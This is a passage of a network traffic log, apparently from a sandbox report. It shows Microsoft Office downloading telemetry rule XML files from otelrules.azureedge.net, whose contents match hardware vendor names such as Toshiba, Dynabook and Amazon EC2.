2024-11-20 03:08:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030802Z-185f5d8b95c4hl5whC1NYCeex000000009kg00000000c14w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	62388	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-r1d97b9957747b9jhC1TEBgyec00000008dg000000006ztd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	62389	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-r1d97b99577lxltfhC1TEByw2s00000008b0000000007e2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	62387	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-r1d97b99577l6wbzhC1TEB3fwn00000008fg0000000017sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	62386	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-r1d97b99577gg97qhC1TEBcrf40000000840000000007h49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	62390	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-1777c6cb7549j9hhhC1TEBzmcc00000008tg00000000svdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	62391	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-r1d97b99577d6qrbhC1TEBux5s00000008c000000000c9pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	62394	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-185f5d8b95crl6swhC1NYC3ueg00000009vg000000003vmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	62393	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-1777c6cb754ww792hC1TEBzqu400000008tg00000000htga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	62392	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-1777c6cb754ww792hC1TEBzqu400000008t000000000mndq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	62395	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b0c2e714-101e-000b-0df2-3a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030803Z-185f5d8b95c95vpshC1NYC759c00000009m000000000nmq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	62396	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030804Z-185f5d8b95cmd8vfhC1NYC0g4000000005d000000000x47v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	62397	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
